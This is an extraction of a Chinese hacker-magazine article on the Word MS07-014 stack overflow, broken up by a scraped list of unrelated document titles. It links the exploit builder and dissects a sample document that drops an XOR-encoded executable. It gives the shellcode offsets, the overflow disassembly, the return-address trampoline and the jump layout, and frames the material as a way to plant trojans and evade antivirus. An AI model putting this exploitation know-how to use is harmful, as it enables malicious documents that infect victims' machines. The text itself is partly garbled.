漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字



Similar documents
何 秋 琳 张 立 春 视 觉 学 习 研 究 进 展 视 觉 注 意 视 觉 感 知

《C语言基础入门》课程教学大纲

I

龚 亚 夫 在 重 新 思 考 基 础 教 育 英 语 教 学 的 理 念 一 文 中 援 引 的 观 点 认 为 当 跳 出 本 族 语 主 义 的 思 维 定 式 后 需 要 重 新 思 考 许 多 相 连 带 的 问 题 比 如 许 多 发 音 的 细 微 区 别 并 不 影 响 理 解 和

Microsoft Word - 第7章 图表反转形态.doc


第2章 数据类型、常量与变量

HSK( 一 级 ) 考 查 考 生 的 日 常 汉 语 应 用 能 力, 它 对 应 于 国 际 汉 语 能 力 标 准 一 级 欧 洲 语 言 共 同 参 考 框 架 (CEF) A1 级 通 过 HSK( 一 级 ) 的 考 生 可 以 理 解 并 使 用 一 些 非 常 简 单 的 汉 语

<433A5C446F63756D656E E E67735C41646D696E F725CD7C0C3E65CC2DBCEC4CFB5CDB3CAB9D3C3D6B8C4CFA3A8BCF2BBAFA3A95CCAB9D3C3D6B8C4CF31302D31392E646F63>

修改版-操作手册.doc

说 明 为 了 反 映 教 运 行 的 基 本 状 态, 为 校 和 院 制 定 相 关 政 策 和 进 行 教 建 设 与 改 革 提 供 据 依 据, 校 从 程 资 源 ( 开 类 别 开 量 规 模 ) 教 师 结 构 程 考 核 等 维 度, 对 2015 年 春 季 期 教 运 行 基

Microsoft Word - 第3章.doc

登录、注册功能的测试用例设计.doc

深圳市新亚电子制程股份有限公司

抗 日 战 争 研 究 年 第 期

Template BR_Rec_2005.dot

导 数 和 微 分 的 概 念 导 数 的 几 何 意 义 和 物 理 意 义 函 数 的 可 导 性 与 连 续 性 之 间 的 关 系 平 面 曲 线 的 切 线 和 法 线 导 数 和 微 分 的 四 则 运 算 基 本 初 等 函 数 的 导 数 复 合 函 数 反 函 数 隐 函 数 以


一 公 共 卫 生 硕 士 专 业 学 位 论 文 的 概 述 学 位 论 文 是 对 研 究 生 进 行 科 学 研 究 或 承 担 专 门 技 术 工 作 的 全 面 训 练, 是 培 养 研 究 生 创 新 能 力, 综 合 运 用 所 学 知 识 发 现 问 题, 分 析 问 题 和 解 决

类 似 地, 又 可 定 义 变 下 限 的 定 积 分 : ( ). 与 ψ 统 称 为 变 限 积 分. f ( ) d f ( t) dt,, 注 在 变 限 积 分 (1) 与 () 中, 不 可 再 把 积 分 变 量 写 成 的 形 式 ( 例 如 ) 以 免 与 积 分 上 下 限 的

<4D F736F F D C4EAB9A4B3CCCBB6CABFCAFDD1A7D7A8D2B5BFCEBFBCCAD4B4F3B8D9D3EBD2AAC7F3>

目 录 一 系 统 访 问... 1 二 门 户 首 页 申 报 用 户 审 核 用 户... 2 三 系 统 登 录 用 户 名 密 码 登 录 新 用 户 注 册 用 户 登 录 已 注 册 用

( ) 信 号 与 系 统 Ⅰ 学 科 基 础 必 修 课 教 周 2016 年 06 月 13 日 (08:00-09:35) ( )

<4D F736F F D20B9D8D3DAB0BABBAAA3A8C9CFBAA3A3A9D7D4B6AFBBAFB9A4B3CCB9C9B7DDD3D0CFDEB9ABCBBE C4EAC4EAB6C8B9C9B6ABB4F3BBE1B7A8C2C9D2E2BCFBCAE92E646F6378>

教师上报成绩流程图

国债回购交易业务指引


<4D F736F F D D323630D6D0B9FAD3A6B6D4C6F8BAF2B1E4BBAFB5C4D5FEB2DFD3EBD0D0B6AF C4EAB6C8B1A8B8E6>

¹ º ¹ º 农 业 流 动 人 口 是 指 户 口 性 质 为 农 业 户 口 在 流 入 地 城 市 工 作 生 活 居 住 一 个 月 及 以 上 的 流 动 人 口 非 农 流 动 人 口 是 指 户 口 性 质 为 非 农 户 口 在 流 入 地 城 市 工 作 生 活 居 住 一 个

3 复 试 如 何 准 备 4 复 试 成 绩 计 算 5 复 试 比 例 6 复 试 类 型 7 怎 么 样 面 对 各 种 复 试 04 05

,,,,, :,, (.,, );, (, : ), (.., ;. &., ;.. &.., ;, ;, ),,,,,,, ( ) ( ),,,,.,,,,,, : ;, ;,.,,,,, (., : - ),,,, ( ),,,, (, : ),, :,

随着执业中医师资格考试制度的不断完善,本着为我校中医学专业认证服务的目的,本文通过对我校中医类毕业生参加2012年和2013年的中医执业医师考试成绩及通过率、掌握率进行分析,并与全国的平均水平进行差异比较分析,以此了解我校执业中医师考试的现状,进而反映我校中医类课程总体教学水平,发现考核知识模块教学中存在的不足,反馈给相关学院和教学管理部门,以此提高教学和管理水平。

火车浏览器脚本制作教程

第 期 李 伟 等 用 方 法 对 中 国 历 史 气 温 数 据 插 值 可 行 性 讨 论

用节点法和网孔法进行电路分析

第 一 部 分 MagiCAD for Revit 安 装 流 程

 编号:

2 熟 悉 Visual Basic 的 集 成 开 发 环 境 3 了 解 可 视 化 面 向 对 象 编 程 事 件 驱 动 交 互 式 开 发 等 基 本 概 念 4 了 解 Visual Basic 的 特 点 环 境 要 求 与 安 装 方 法 1 Visual Basic 开 发 应 用

徐天宏:《基因天堂》.doc

目 录 关 于 图 标... 3 登 陆 主 界 面... 3 工 单 管 理... 5 工 单 列 表... 5 搜 索 工 单... 5 工 单 详 情... 6 创 建 工 单... 9 设 备 管 理 巡 检 计 划 查 询 详 情 销 售 管

精 勤 求 学 自 强 不 息 Born to win! 解 析 : 由 极 限 的 保 号 性 知 存 在 U ( a) 当 a 时 f ( ) f ( a) 故 f ( ) 在 点 a 不 取 极 值 f ( ) f ( a) f ( ) f ( a) lim lim a a a a ( a)


中 国 软 科 学 年 第 期!!!

( 二 ) 现 行 统 一 高 考 制 度 不 利 于 培 养 人 的 创 新 精 神,,,,,,,,,,,,, [ ],,,,,,,,,,, :, ;,,,,,,? ( 三 ) 现 行 统 一 高 考 制 度 不 利 于 全 体 学 生 都 获 得 全 面 发 展,, [ ],,,,,,,,,,,

第二讲 数列


<4D F736F F D C3E6CFF2B6D4CFF3A3A8B5DAC8FDD5C220C0E0CCD8D0D4A3A92E646F63>

马 克 思 主 义 公 正 观 的 基 本 向 度 及 方 法 论 原 则!! # #

年 第 期 % %! & % % % % % % &

世华财讯模拟操作手册

0 年 上 半 年 评 价 与 考 核 细 则 序 号 部 门 要 素 值 考 核 内 容 考 核 方 式 考 核 标 准 考 核 ( 扣 原 因 ) 考 评 得 3 安 全 生 产 目 30 无 同 等 责 任 以 上 道 路 交 通 亡 人 事 故 无 轻 伤 责 任 事 故 无 重 大 质 量

西 南 民 族 学 院 学 报 哲 学 社 会 科 学 版 第 卷 资 料 来 源 中 国 统 计 年 鉴 年 年 新 中 国 五 十 年 统 计 资 料 汇 编 中 国 人 口 统 计 年 鉴 年 数 据 资 料 来 源 中 国 统 计 年 鉴 中 国 统 计 出 版 社 年 版 资 料 来 源

定 位 和 描 述 : 程 序 设 计 / 办 公 软 件 高 级 应 用 级 考 核 内 容 包 括 计 算 机 语 言 与 基 础 程 序 设 计 能 力, 要 求 参 试 者 掌 握 一 门 计 算 机 语 言, 可 选 类 别 有 高 级 语 言 程 序 设 计 类 数 据 库 编 程 类

2006年顺德区高中阶段学校招生录取分数线

<433A5C C6B73625C B746F705CB9FABCCAD6D0D2BDD2A9D7A8D2B5B8DFBCB6BCBCCAF5D6B0B3C6C6C0C9F3C9EAC7EBD6B8C4CFA3A CDA8D3C3B0E6A3A92E646F63>

øÕªß∂À≤Ÿ◊˜ ÷≤·

课程类 别

珠江钢琴股东大会



4 进 入 交 互 区 设 置 的 组 件 管 理, 在 组 件 管 理 中, 教 师 可 以 选 择 课 程 空 间 中 的 所 有 组 件, 并 通 过 点 击 启 用 或 不 启 用 选 定 组 件 在 课 程 空 间 中 的 显 示 5 进 入 工 作 室 管 理 的 工 作 室 首 页,

名 称 生 命 科 学 学 院 环 境 科 学 1 生 物 学 仅 接 收 院 内 调 剂, 初 试 分 数 满 足 我 院 生 物 学 复 试 最 低 分 数 线 生 命 科 学 学 院 生 态 学 5 生 态 学 或 生 物 学 生 命 科 学 学 院

18 上 报 该 学 期 新 生 数 据 至 阳 光 平 台 第 一 学 期 第 四 周 至 第 六 周 19 督 促 学 习 中 心 提 交 新 增 专 业 申 请 第 一 学 期 第 四 周 至 第 八 周 20 编 制 全 国 网 络 统 考 十 二 月 批 次 考 前 模 拟 题 第 一 学

正 规 培 训 达 规 定 标 准 学 时 数, 并 取 得 结 业 证 书 二 级 可 编 程 师 ( 具 备 以 下 条 件 之 一 者 ) (1) 连 续 从 事 本 职 业 工 作 13 年 以 上 (2) 取 得 本 职 业 三 级 职 业 资 格 证 书 后, 连 续 从 事 本 职 业

2. 本 次 修 改 后, 投 资 者 申 购 新 股 的 持 有 市 值 要 求 市 值 计 算 规 则 及 证 券 账 户 使 用 的 相 关 规 定 是 否 发 生 了 变 化? 答 : 未 发 生 变 化 投 资 者 申 购 新 股 的 持 有 市 值 是 指, 以 投 资 者 为 单 位

一 六 年 级 下 册 教 科 书 总 体 说 明 ( 一 ) 教 学 内 容 本 册 教 科 书 一 共 安 排 了 5 个 教 学 单 元, 其 中 前 4 个 单 元 为 新 知 识, 第 五 单 元 是 对 整 个 小 学 阶 段 所 学 数 学 知 识 系 统 的 整 理 和 复 习

<4D F736F F D20BFC9B1E0B3CCD0F2BFD8D6C6CFB5CDB3C9E8BCC6CAA6B9FABCD2D6B0D2B5B1EAD7BC2E646F63>

·岗位设置管理流程

上证指数

操作手册

抗 战 时 期 国 民 政 府 的 银 行 监 理 体 制 探 析 % # % % % ) % % # # + #, ) +, % % % % % % % %

2009—2010级本科课程教学大纲与课程简介格式

全国艺术科学规划项目

目 录 页 1. 欢 迎 使 用 网 上 预 约 面 谈 访 问 系 统 新 用 户 新 用 户 登 入 帐 户 程 序 启 动 网 上 预 约 面 谈 访 问 帐 户 核 对 帐 户 的 地 址 资 料

抗 日 战 争 研 究 % 年 第 期! # # % %

自 服 务 按 钮 无 法 访 问 新 系 统 的 自 服 务 页 面 因 此 建 议 用 户 从 信 网 中 心 ( 主 页, 右 下 角 位 置 的 常 用 下 载, 或 校 园 网 用 户 自 服 务 ( 首 页

3 月 30 日 在 中 国 证 券 报 上 海 证 券 报 证 券 时 报 证 券 日 报 和 上 海 证 券 交 易 所 网 站 上 发 出 召 开 本 次 股 东 大 会 公 告, 该 公 告 中 载 明 了 召 开 股 东 大 会 的 日 期 网 络 投 票 的 方 式 时 间 以 及 审

DLJ1.nps

际 联 考 的 非 美 术 类 本 科, 提 前 批 本 科 体 育 类 第 一 批 第 二 批 第 三 批 的 理 工 类 和 文 史 类 本 科 平 行 志 愿, 考 生 可 以 填 报 6 所 院 校 志 愿 符 合 贫 困 地 区 专 项 计 划 和 农 村 考 生 专 项 计 划 报 考

党建评估

<443A5C6D B5C30312EB9A4D7F7CEC4B5B55C30322EBACFCDACCEC4B5B55C C30342EC8CBC9E7CCFC5C31332ECFEEC4BFC5E0D1B55C E30385C322EB2D9D7F7CAD6B2E12E646F63>

微 积 分 ( 二 ) 教 学 大 纲 2 (2010 版 ) 课 程 编 码 : 课 程 名 称 : 微 积 分 学 时 / 学 分 :36/2 先 修 课 程 : 初 等 数 学 立 体 几 何 平 面 解 析 几 何 微 积 分 ( 一 ) 适 用 专 业 : 人 力 资 源 管

中 日 信 息 化 的 比 较 与 合 作 一 中 日 信 息 化 的 规 模 比 较

Your Child is Myopic

目 录 第 一 章 博 星 卓 越 电 子 商 务 营 销 策 划 实 践 平 台 硬 件 使 用 介 绍... 3 第 二 章 博 星 卓 越 电 子 商 务 营 销 策 划 实 践 平 台 管 理 员 端 功 能 使 用 介 绍 系 统 管 理 员 登 陆 班

一 开 放 性 的 政 策 与 法 规 二 两 岸 共 同 的 文 化 传 承 三 两 岸 高 校 各 自 具 有 专 业 优 势 远 见 杂 志 年 月 日

GB

金 不 少 于 800 万 元, 净 资 产 不 少 于 960 万 元 ; (3) 近 五 年 独 立 承 担 过 单 项 合 同 额 不 少 于 1000 万 元 的 智 能 化 工 程 ( 设 计 或 施 工 或 设 计 施 工 一 体 ) 不 少 于 2 项 ; (4) 近 三 年 每 年

PCT/WG/8/6

云信Linux SSH认证代理用户手册

i 1) 系 统 运 作 前 设 定 *1. [2.1 网 页 主 机 名 称 设 定 ] -- 设 定 校 务 系 统 的 主 机 IP 地 址, 以 供 其 他 个 人 电 脑 连 接 及 使 用 该 系 统 *2. [2.3.1 输 入 / 修 改 学 校 资 料 ] -- 输 入 系 统 使

目 录 一 激 活 账 号... 2 二 忘 记 密 码 后 如 何 找 回 密 码?... 3 三 如 何 管 理 学 校 信 息 及 球 队 学 生 教 师 等 信 息... 6 四 如 何 发 布 本 校 校 园 文 化? 五 如 何 向 教 师 发 送 通 知? 六

四川省农村义务教育学生

全国教师资格认定管理信息系统

目 录 第 一 章 行 政 办 公 介 绍 行 政 办 公 的 作 用... 4 第 二 章 行 政 办 公 使 用 说 明 会 议 管 理 会 议 管 理 概 述 如 何 设 置 会 议 室 如

Microsoft Word - 文件汇编.doc

《应用数学Ⅰ》教学大纲

一、资质申请


生产支援功能 使用说明书(IP-110 篇)

Transcription:

适 合 读 者 : 入 侵 爱 好 者 溢 出 爱 好 者 前 置 知 识 : 汇 编 语 言 缓 冲 区 溢 出 基 本 原 理 文 / 图 何 永 强 Word 畸 形 数 据 结 构 溢 出 漏 洞 分 析 与 利 用 以 前 都 是 写 远 程 溢 出 漏 洞, 感 觉 也 该 换 换 口 味 了 事 实 上,2005 年 以 来 的 远 程 溢 出 漏 洞, 如 MS05-039 MS06-040 MS07-029 等, 都 受 限 于 个 人 防 火 墙 而 难 以 在 网 上 广 泛 传 播, 影 响 力 已 大 不 如 从 前 取 而 代 之 的, 以 Office WinRAR PDF 漏 洞 为 代 表 的 文 件 格 式 溢 出 漏 洞 却 被 积 极 利 用 本 文 所 讲 述 的 就 是 一 个 Word 畸 形 数 据 结 构 溢 出 漏 洞 (MS07-014), 文 章 内 容 分 为 漏 洞 简 介 样 本 剥 析 漏 洞 技 术 细 节 利 用 限 制 及 扩 展 应 用 防 杀 处 理 与 /GS 保 护 五 部 分 下 面 我 就 逐 一 介 绍, 不 足 之 处 还 请 大 家 指 正 漏 洞 简 介 该 漏 洞 在 微 软 的 补 丁 编 号 是 MS07-014, 但 MS07-014 同 时 补 了 好 几 个 漏 洞, 因 此 我 们 一 般 参 考 CVE 上 的 唯 一 编 号 :CVE-2006-6456, 如 图 1 所 示 大 家 关 注 的 是 WordExp.exe 生 成 之 后 的 利 用 文 档 尽 管 这 样 的 文 档 会 被 Symantec KIS 等 防 护 软 件 查 杀, 但 起 码 为 大 家 提 供 了 一 个 不 错 的 分 析 样 本 这 里 所 说 的 样 本, 就 是 指 通 过 该 exp 生 成 的 利 用 文 档 我 们 分 析 的 目 标, 就 是 看 清 样 本 中 木 马 的 位 置 及 编 码 ShellCode 的 位 置 及 形 式 漏 洞 技 术 细 节 漏 洞 利 用 限 制 灵 活 添 加 自 己 的 ShellCode, 以 及 如 何 免 杀 样 本 剥 析 我 们 用 WordExp.exe 在 样 本 中 绑 定 一 个 计 算 器 (calc.exe) 来 进 行 分 析, 如 图 3 所 示 点 击 打 开 后, 生 成 了 利 用 文 档, 我 们 命 名 为 test.doc 为 了 便 于 说 明, 我 们 再 用 二 进 制 编 辑 工 具 打 开 test.doc 二 进 制 编 辑 工 具 有 UltraEdit WinHex 等, 这 里 推 荐 功 能 更 全 面 的 WinHex tst.doc 打 开 后 如 图 4 所 示 图 1 根 据 漏 洞 公 告 介 绍, 该 漏 洞 是 由 Winword.exe 文 档 表 格 处 理 过 程 中 对 数 据 长 度 验 证 不 足 引 起 的, 主 要 针 对 Word 2003 本 文 中 所 有 测 试 均 在 Windows XP SP2+Office 2003 SP2 下 进 行, 技 术 细 节 将 在 后 面 讨 论 漏 洞 的 利 用 工 具 ( 下 文 简 称 exp) 在 网 上 已 有 公 布, 具 体 下 载 地 址 是 http://www.3800hk.com/soft/ zhly/16237.html?3npzd1=uchnxsdmxm, 下 载 该 exp, 发 现 它 主 要 包 含 2 个 工 具, 如 图 2 所 示 其 中 的 doc 捆 绑 器 的 功 能 是 将 单 独 木 马 程 序 与 一 个 可 以 正 常 打 开 的 doc 文 档 绑 定 成 一 个 大 exe 文 件, 这 个 大 exe 文 件 执 行 的 时 候, 将 分 别 释 放 并 打 开 里 面 的 木 马 程 序 以 及 正 常 的 doc 文 件 ;WordExp 功 能 是 将 一 个 exe 文 件 与 漏 洞 模 板 (HEAD) 相 绑 定 为 最 终 的 漏 洞 利 用 文 档, 这 个 exe 文 件 可 以 是 单 独 的 木 马, 也 可 以 是 前 面 的 doc 捆 绑 器 生 成 的 大 exe 文 件 图 2 图 3 图 4 单 击 Offset 这 一 列 中 的 任 何 位 置, 可 以 把 文 件 偏 移 值 显 示 在 十 进 制 和 十 六 进 制 之 间 切 换, 本 文 以 十 六 进 制 形 式 显 示 由 于 绑 定 的 exe 文 件 大 小 是 不 限 制 的, 而 样 本 HEAD 大 小 固 定, 因 此 肯 定 是 将 该 exe 接 在 HEAD 的 后 面, 而 不 是 夹 在 中 间 拖 动 滚 动 条, 我 们 不 难 看 出 exe 文 件 数 据 位 于 18200H 开 始 的 位 置, 如 图 5 所 示 C5 D2 18 88 是 4D 5A 90 03 异 或 88H 后 所 得, 也 就 是 整 个 exe 是 通 过 XOR 88H 编 码 而 成, 而 HACKER DEFENCE ww w.h acke r.c om. 2007. 08 黑 客 防 cn 线 19

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字 节, 然 后 右 键 选 择 Copy Block-->Into new file, 保 存 就 可 以 了, 如 图 6 所 示 图 5 图 6 至 于 ShellCode, 在 HEAD 中 分 为 两 部 分, 分 别 位 于 F722H 和 16730H, 如 图 7 和 图 8 所 示 图 7 图 8 ShellCode 第 一 部 分 包 括 了 导 致 溢 出 的 数 据 跳 转 地 址 ShellCode 自 身 等, 这 部 分 长 度 是 有 限 的, 放 不 下 所 有 的 ShellCode, 所 以 需 要 将 ShellCode 分 为 两 部 分 来 存 放 样 本 中 ShellCode 的 整 体 功 能 是 释 放 并 执 行 exe 文 件 漏 洞 技 术 细 节 上 面 我 们 对 样 本 进 行 了 初 步 的 分 析, 下 面 我 们 来 讨 论 漏 洞 技 术 细 节 这 是 一 个 典 型 的 堆 栈 溢 出 漏 洞, 导 致 溢 出 的 数 据 分 为 数 据 长 度 + 数 据 体 数 据 体 的 copy 等 处 理 是 根 据 前 面 的 数 据 长 度 来 进 行 的 对 溢 出 漏 洞 比 较 了 解 的 朋 友 知 道, 这 是 文 件 类 堆 栈 溢 出 漏 洞 的 典 型 方 式 好 了, 我 们 还 是 通 过 逆 向 工 程 来 看 看 相 关 的 反 汇 编 代 码 反 汇 编 工 具 推 荐 功 能 强 大 的 IDA PRO, 最 新 版 本 是 5.1( 据 说 可 以 分 析 出 exe 文 件 C 源 代 码 ), 本 文 使 用 5.0 版 本 至 于 待 分 析 的 Winword.exe, 我 们 将 补 丁 打 到 MS07-014 之 前 的 版 本, 也 就 是 11.8106.8107, 而 现 在 最 新 的 版 本 是 11. 8134.8132 那 么 如 何 看 Word 的 版 本 号 呢? 点 击 帮 助 菜 单 下 的 关 于 Microsoft office word 就 可 以 看 到 了 PowerPoint 和 Excel 的 版 本 也 是 如 此 查 看 漏 洞 相 关 的 反 汇 编 代 码 主 要 有 以 下 3 部 分, 我 们 分 别 对 其 进 行 说 明 覆 盖 1) 堆 栈 溢 出 发 生 的 函 数, 该 函 数 的 返 回 地 址 被 sub_3003224f: 3003227E mov ecx, [ebp-4] 30032281 test ecx, ecx 30032283 jz loc_30379e33 30032289 push edi 3003228A xor eax, eax 3003228C lea edi, [ebp -10H] 3003228F stosd 30032290 stosd 30032291 stosd 30032292 lea eax, [ebp-10h] 30032295 push eax 30032296 push [ebp+18h] 30032299 mov [ebp-8], ecx 3003229C push [ebp+14h] 3003229F mov [ebp-0ch], esi 300322A2 push [ebp+10h] 300322A5 push [ebp+0ch] 300322A8 push [ebp+8] 300322AB call sub_300322cc ; 函 数 sub_300322cc 中 发 生 了 copy 数 据 并 覆 盖 了 函 数 sub_3003224f 的 返 回 地 址,sub_300322CC 在 B 部 分 介 绍 300322B0 test ebx, ebx 300322B2 mov esi, eax 300322B4 pop edi 300322B5 jz loc_300504ca 300322BB push [ebp-4] 300322BE call MsoReleaseMemCore(x) 300322C4 pop ebx 300322C5 mov eax, esi 300322C7 pop esi 300322C8 leave 300322C9 retn 14h ; 由 于 返 回 地 址 已 经 在 前 面 被 覆 盖, 这 里 返 回 后 就 触 发 漏 洞 了 2)sub_300322CC, 在 该 函 数 中 发 生 了 数 据 copy, 20 ww w.h acke r.com. cn 黑 客 防 线 2007. 08 HACKER DEFENCE

关 键 代 码 如 下 sub_300322cc loc_300322fb:. 300322FB mov eax, [ebp+14h] ; 源 数 据 地 址, 即 文 件 中 输 入 的 数 据 体 300322FE mov ecx, [ebp-40h] ; 已 经 copy 的 数 据 长 度 30032301 add eax, ecx 30032303 mov [ebp-50h], eax 30032306 mov ax, [eax] 30032309 mov [ebp-20h], eax 3003230C movzx eax, ax 3003230F shr eax, 0Ah 30032312 and eax, 7 30032315 cmp eax, [ebp-30h] 30032318 mov [ebp-54h], eax 3003231B jz short loc_3003237d 3003231D mov [ebp-30h], eax 30032320 mov eax, [ebp-18h] 30032323 xor ebx, ebx 30032325 xor esi, esi 30032327 test eax, eax 30032329 mov [ebp-0ch], eax 3003232C jle loc_30032687 30032600 mov esi, [ebp-2ch] 30032603 mov edx, [ebp-1ch] 30032606 mov ecx, [ebp-18h] 30032609 mov eax, [ebp+10h] 3003260C sub esi, edx 3003260E lea ebx, [esi+ecx] 30032611 cmp ebx, eax 30032613 jg loc_3037a341 30032619 mov edi, [ebp-10h] 3003261C lea eax, [edx+edi] 3003261F cmp ecx, eax 30032621 jg loc_300506d0 30032627 cmp [ebp-2ch], 0 3003262B jle short loc_3003263e 3003262D mov eax, [ebp-08h] 30032630 push [ebp-2c] ; size_t 30032633 mov ecx, [ebp-14h] ; void *, 源 数 据 当 前 copy 到 的 位 置 30032636 lea edx, [eax+edi] ; void * 30032639 call sub_30006642 ; 函 数 sub_30006642 是 对 memmove 函 数 的 包 装 调 用 3003263E add [ebp-0ch], esi 30032641 cmp [ebp-44h], 0 30032645 mov [ebp-18h], ebx 30032648 jnz loc_3037a0a8 3003264E mov eax, [ebp-50h] 30032651 movzx eax, word ptr [eax] 30032654 shr eax, 0Dh 30032657 mov eax, ds:dword_300f70f0 [eax*4] 3003265E test eax, eax 30032660 jz loc_3019c6ed 30032666 add [ebp-40h], eax 30032669 mov eax, [ebp-40h] 3003266C cmp eax, [ebp+18h] ; 待 copy 数 据 的 总 长 度, 也 就 是 我 们 的 数 据 长 度 *2 所 得 3003266F jl loc_300322fb ;3 字 节 3 字 节 循 环 copy, 直 到 已 经 copy 字 节 数 达 到 设 定 的 数 据 长 度 30032675 mov eax, [ebp-18h] 30032678 mov ecx, [ebp+0ch] 3003267B mov [ecx], eax 3003267D xor eax, eax 3003267F inc eax 3)sub_30006642, 对 memmove 函 数 的 封 装 调 用, 完 成 数 据 copy 功 能 sub_30006642 30006642 push esi 30006643 push edi 30006644 mov edi, [esp+arg_0] :30006648 push edi ; size_t 30006649 mov esi, edx 3000664B push ecx ; void * 3000664C push esi ; void * 3000664D call memmove; 实 际 是 调 用 memmove 30006652 add esp, 0Ch 30006655 lea eax, [esi+edi] 30006658 pop edi 30006659 pop esi 3000665A retn 4 当 然, 上 面 我 们 只 给 出 了 数 据 体 copy 部 分 的 汇 编 代 码 值 得 注 意 的 是, 数 据 体 并 非 简 单 的 字 符 串, 它 可 能 也 是 一 个 复 杂 的 数 据 结 构 结 构 内 部 的 数 据 处 理 尽 管 和 漏 洞 的 产 生 没 有 直 接 关 系, 但 却 影 响 着 漏 洞 的 利 用, 这 一 点 在 后 面 利 用 部 分 继 续 介 绍 此 外, 有 兴 趣 的 朋 友 可 以 再 通 过 回 溯 分 析 和 补 丁 比 较 技 术 进 一 步 了 解 07-014 补 丁 对 这 个 漏 洞 究 竟 补 在 了 什 么 地 方, 补 丁 后 的 winword.exe 的 版 本 是 11. 8125.8107, 这 里 就 不 多 介 绍 了 利 用 限 制 及 扩 展 应 用 谈 到 漏 洞 利 用, 其 实 就 是 解 决 一 个 如 何 灵 活 添 加 我 们 自 己 的 ShellCode 的 问 题 这 个 漏 洞 的 利 用 是 有 一 些 限 制 条 件 的 前 面 已 经 说 到,ShellCode 在 样 本 中 分 为 两 部 分, 其 中 第 二 部 分 实 现 真 正 的 功 能, 我 们 称 其 为 SC2, 它 可 以 独 立 出 来 灵 活 搬 移 下 面 重 点 说 第 一 部 分, 我 们 称 其 称 为 SC1 大 家 再 仔 细 看 看 图 7 中 的 阴 影 部 分, 接 在 头 两 字 节 6E 00 后 面 的 是 一 个 数 据 结 构, 长 度 为 0x006E 2=0x00DC 这 个 数 据 结 构 中 很 多 元 素 都 是 漏 洞 触 发 之 前 的 程 序 处 理 中 不 可 随 意 破 坏 的 具 体 来 说, 我 们 需 要 注 意 以 下 两 个 问 题 1) 如 何 覆 盖 函 数 返 回 地 址 HACKER DEFENCE ww w.h acke r.c om. 2007. 08 黑 客 防 cn 线 21

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn 原 本 极 其 简 单 的 一 个 问 题, 在 这 里 却 不 那 么 容 易, 如 图 9 所 示 后 面 的 14H 字 节 ( 阴 影 部 分 ), 直 接 指 向 后 面 的 0x00b 85335 输 入 命 令 d 00b85335, 结 果 如 图 13 所 示 图 9 HEAD 中 偏 移 F7EDH 开 始 的 8 字 节 00 00 FF 34 C3 33 00 30, 这 8 字 节 先 后 覆 盖 了 函 数 SUB_300 3224F 的 EBP 和 RET, 但 它 们 恰 恰 也 都 是 Winword.exe 在 解 析 文 档 时 要 用 到 的 重 要 参 数 EBP 我 们 可 以 就 用 原 来 的 文 件 数 据, 但 返 回 地 址 RET 关 系 到 如 何 跳 转 到 ShellCode 的 问 题, 所 以 选 择 一 定 得 小 心 如 果 我 们 将 RET 填 充 为 7FFA4512 这 样 的 通 用 JMP ESP 指 令 地 址 或 者 0012XXXX 这 样 的 具 体 堆 栈 地 址 的 话, 漏 洞 就 不 会 触 发 了 也 就 是 说, 传 统 利 用 方 式 不 可 行, 那 如 何 是 好? 因 为 我 们 已 经 拿 到 样 本, 所 以 我 就 分 析 一 下 样 本 作 者 对 这 个 问 题 的 解 决 思 路 样 本 里 填 充 的 RET 是 0x300033c3, 我 们 并 不 知 道 在 作 者 修 改 之 前 的 这 4 字 节 是 什 么, 所 以 只 能 先 假 定 这 个 4 字 节 就 是 原 来 文 件 中 的 原 始 数 据 接 下 来, 我 们 通 过 调 试 分 析 看 看 SUB_3003224F 返 回 时 堆 栈 的 情 况 打 开 Word 程 序, 并 用 Windbg 挂 上 该 进 程 由 于 SUB_3003224F 可 能 在 程 序 中 被 多 次 调 用, 所 以 为 了 准 确 定 位, 我 们 须 在 300322C9 retn 14h 设 置 条 件 断 点 : bp 300322C9 "j @ebp=0x34ff0000 ''; 'gc'", 如 图 10 所 示 图 10 关 于 Windbg 的 条 件 断 点 设 置, 大 家 可 以 通 过 F1 查 看 工 具 自 带 的 帮 助 文 档 然 后 按 F5, 并 双 击 打 开 test.doc, 停 到 断 点 后, 结 果 如 图 11 所 示 图 11 输 入 命 令 d esp, 可 以 清 楚 地 看 到 当 前 的 堆 栈 数 据, 如 图 12 所 示 图 12 由 于 函 数 返 回 指 令 是 RET 14H, 该 指 令 等 效 于 下 列 两 条 指 令 : Ret Sub esp, 14H 因 此,ESP 指 针 在 该 指 令 执 行 后, 将 跳 过 300033C3 图 13 大 家 会 惊 喜 地 发 现 00b85335 居 然 直 接 指 向 了 SC1! 那 么 解 决 思 路 就 出 来 了, 既 然 不 能 填 写 传 统 的 JMP ESP 指 令 地 址 和 具 体 的 堆 栈 地 址, 但 如 果 将 返 回 地 址 填 写 为 Winword.exe 中 某 段 代 码 地 址, 而 这 段 代 码 执 行 到 最 后 刚 好 有 个 RET 指 令 的 话,EIP 就 直 接 跳 到 了 我 们 可 控 制 的 内 存 数 据 ( 也 就 是 ShellCode) 中 了 我 猜 测 作 者 当 时 也 是 发 现 00b85335 刚 好 指 向 0x006e 后 面 的 文 件 数 据, 所 以 才 想 出 这 个 思 路 来 的 在 11. 8106.xxxx 的 Winword.exe 中, 我 们 前 面 已 经 填 写 的 0x300033C3 就 正 好 同 时 满 足 前 面 程 序 处 理 与 后 面 RET 的 要 求 大 家 如 果 不 用 这 个 地 址 的 话, 也 可 以 尝 试 找 找 其 它 RET 地 址, 只 不 过 要 注 意 测 试 你 找 的 值 是 否 能 触 发 漏 洞 罢 了 2)SC1 的 分 布 有 了 前 面 的 基 础, 我 们 可 以 这 样 理 解, 由 于 数 据 结 构 中 很 多 内 容 都 不 能 修 改, 所 以 SC1 只 能 在 其 中 一 小 片 区 域 里 存 放 但 由 于 00b85335 指 向 这 片 区 域 前 面 一 些 的 位 置, 所 以 还 需 要 在 前 面 的 加 上 一 点 跳 转 地 址 指 令, 这 也 就 是 为 什 么 会 有 EB 24 和 EB 29 这 两 条 指 令 了 具 体 而 言,SC1 主 体 部 分 在 F776H 开 始 的 几 十 个 字 节 处, 如 图 14 所 示. 图 14 好 了, 分 析 了 漏 